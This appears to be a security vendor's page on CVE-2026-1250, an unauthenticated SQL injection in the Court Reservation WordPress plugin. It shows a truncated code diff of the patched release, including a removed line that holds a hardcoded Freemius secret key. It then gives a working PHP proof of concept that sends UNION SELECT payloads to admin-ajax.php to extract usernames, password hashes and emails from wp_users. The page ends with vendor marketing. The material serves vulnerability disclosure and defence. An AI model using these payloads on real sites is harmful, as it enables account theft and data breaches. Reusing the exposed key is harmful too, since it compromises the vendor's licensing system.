  * Provide notice for pro-upgrade in admin view
--- a/court-reservation/courtres.php
+++ b/court-reservation/courtres.php
@@ -16,7 +16,7 @@
  * Plugin Name:       Court Reservation
  * Plugin URI:        https://www.courtreservation.io
  * Description:       Reservation system for tennis, squash and badminton
- * Version:           1.10.11
+ * Version:           1.10.12
  * Author:            Webmühle e.U.
  * Author URI:        https://www.webmuehle.at
  * License:           GPL-2.0+
@@ -30,88 +30,17 @@
 	die;
 }

-// Auto deactivation of free when premium is active
+// Auto deactivation of free when premium is active (premium defines cr_fs first)
 if ( function_exists( 'cr_fs' ) ) {
 	cr_fs()->set_basename( true, __FILE__ );
 	return;
 }

-// Integration of Freemius SDK
+// WordPress.org build: Freemius stub (no custom updater). Premium build uses full Freemius SDK.
 if ( ! function_exists( 'cr_fs' ) ) {
-	// Create a helper function for easy SDK access.
+	require_once dirname( __FILE__ ) . '/includes/class-courtres-freemius-stub.php';
 	function cr_fs() {
-		global $cr_fs;
-
-		if ( ! isset( $cr_fs ) ) {
-			// Include Freemius SDK.
-			require_once dirname( __FILE__ ) . '/freemius/start.php';
-
-			$cr_fs = fs_dynamic_init(
-				array(
-					'id'                  => '3086',
-					'slug'                => 'court-reservation',
-					'type'                => 'plugin',
-					'public_key'          => 'pk_b5c504d97853f6130b63fd7344155',
-					'is_premium'          => true,
-					'premium_suffix'      => 'Premium',
-					// If your plugin is a serviceware, set this option to false.
-					'has_premium_version' => true,
-					'has_addons'          => false,
-					'has_paid_plans'      => true,
-					'show_monthly_switch' => true,
-					'menu'                => array(
-						'first-path' => 'plugins.php',
-						'contact'    => false,
-						'support'    => false,
-					),
-					// Set the SDK to work in a sandbox mode (for development & testing).
-					// IMPORTANT: MAKE SURE TO REMOVE SECRET KEY BEFORE DEPLOYMENT.
-					'secret_key'          => 'sk_GyAY<fJ+WHceE6Qzp{N+RYJk4BH%8',
-				)
-			);
-		}
-
-		return $cr_fs;
-	}
-
-	// Init Freemius.
-	cr_fs();
-	// Signal that SDK was initiated.
-	do_action( 'cr_fs_loaded' );
-}
-
-// Uninstalling
-if ( function_exists( 'cr_fs' ) ) {
-	cr_fs()->add_action( 'after_uninstall', 'cr_fs_uninstall_cleanup' );
-	function cr_fs_uninstall_cleanup() {
-		remove_role( 'player' );
-		remove_role( 'guest_player' );
-
-		$role = get_role( 'administrator' );
-		$role->remove_cap( 'place_reservation', true );
-
-		// remove tables
-		global $wpdb;
-
-		// courts table
-		$table_name = $wpdb->prefix . 'courtres_settings';
-		$sql        = "DROP TABLE IF EXISTS $table_name";
-		$wpdb->query( $sql );
-
-		// reservations table
-		$table_name = $wpdb->prefix . 'courtres_reservations';
-		$sql        = "DROP TABLE IF EXISTS $table_name";
-		$wpdb->query( $sql );
-
-		// events table
-		$table_name = $wpdb->prefix . 'courtres_events';
-		$sql        = "DROP TABLE IF EXISTS $table_name";
-		$wpdb->query( $sql );
-
-		// courts table
-		$table_name = $wpdb->prefix . 'courtres_courts';
-		$sql        = "DROP TABLE IF EXISTS $table_name";
-		$wpdb->query( $sql );
+		return Courtres_Freemius_Stub::instance();
 	}
 }

@@ -120,7 +49,7 @@
  * Start at version 1.0.4 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define( 'Court_Reservation', '1.10.11' );
+define( 'Court_Reservation', '1.10.12' );

 require_once plugin_dir_path( __FILE__ ) . 'functions.php';

--- a/court-reservation/freemius/includes/class-freemius.php
+++ b/court-reservation/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -3598,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3606,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4463,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -5155,11 +5185,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5221,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5290,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5505,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6569,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6693,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7483,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7497,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -7586,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7650,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7704,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7876,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8616,7 +8698,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -8757,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11503,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11665,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12312,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13412,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13561,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13575,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13586,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13660,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13677,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13768,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13847,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -13936,6 +14034,10 @@
                 $result['next_page'] = $next_page;
             }

+            if ( $result['success'] ) {
+                $this->do_action( 'after_license_activation' );
+            }
+
             return $result;
         }

@@ -15557,7 +15659,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15684,6 +15786,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15743,6 +15849,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -15974,7 +16083,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -16863,14 +16972,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16881,9 +16989,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16899,6 +17004,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -16978,6 +17098,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -16992,15 +17113,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17010,6 +17127,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17024,15 +17146,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17043,7 +17172,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -18039,7 +18168,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18672,7 +18801,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18680,6 +18809,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19635,7 +19766,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20488,11 +20619,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20525,19 +20663,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
      

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1250 - Court Reservation <= 1.10.11 - Unauthenticated SQL Injection

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL

// Exploit via getCourtByID() - direct SQL injection in 'id' parameter
// This endpoint is accessible without authentication
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';

// Craft the SQL injection payload via the 'id' parameter
// The vulnerable function is called when processing certain AJAX requests
$payload = "1 UNION SELECT user_login,user_pass,user_email,user_registered,display_name,ID,user_activation_key,user_status FROM wp_users LIMIT 1";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'courtres_get_court',
    'id' => $payload
]));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC/1.0'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
if ($response) {
    echo "Response:n$responsen";
    // Successful injection may return user data in the response
    if (strpos($response, 'wp_users') !== false || strpos($response, 'user_login') !== false) {
        echo "[+] SQL injection successful - user data extractedn";
    }
} else {
    echo "[-] No response receivedn";
}

// Alternative: Exploit via getReservationsByGID()
// This is called when viewing reservation details
$gid_payload = "' UNION SELECT user_login,user_pass,user_email FROM wp_users WHERE 1=1 -- -";
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $exploit_url);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'courtres_get_reservation_by_gid',
    'gid' => $gid_payload
]));
curl_setopt($ch2, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: AtomicEdge-PoC/1.0'
]);
$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);
echo "n--- Second attempt (GID) ---n";
echo "HTTP Status: $http_code2n";
if (strpos($response2, 'wp_users') !== false) {
    echo "[+] SQL injection via GID parameter successfuln";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School